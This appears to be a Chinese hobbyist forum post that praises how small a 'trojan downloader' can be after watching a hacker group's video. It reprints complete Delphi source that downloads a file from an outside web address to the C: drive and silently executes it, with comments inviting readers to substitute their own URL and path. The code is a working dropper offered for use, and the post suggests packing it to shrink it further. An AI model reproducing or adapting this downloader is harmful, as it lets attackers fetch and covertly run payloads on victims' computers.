下载程序也可以这么小!

刚看了.南域剑盟的一个动画才发现
自动下载,自动运行小木马可以写成.
10几kb再一加壳哪不更小!学到了不少!

program wsdgsRoad;

uses
URLMon,
ShellApi;

var
u,l: pchar;
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
GetMem(u,100);
GetMem(l,100);
u:='http://www.jm-my.com/ip2.txt';//改为你要下载的网址
l:='c:/downpage.txt';//改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0;
except
Result := False;
end;
end;
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar('open'), PChar(l),
PChar(''), nil, 0)
end;
//freemem(u);
//freemem(l);
end.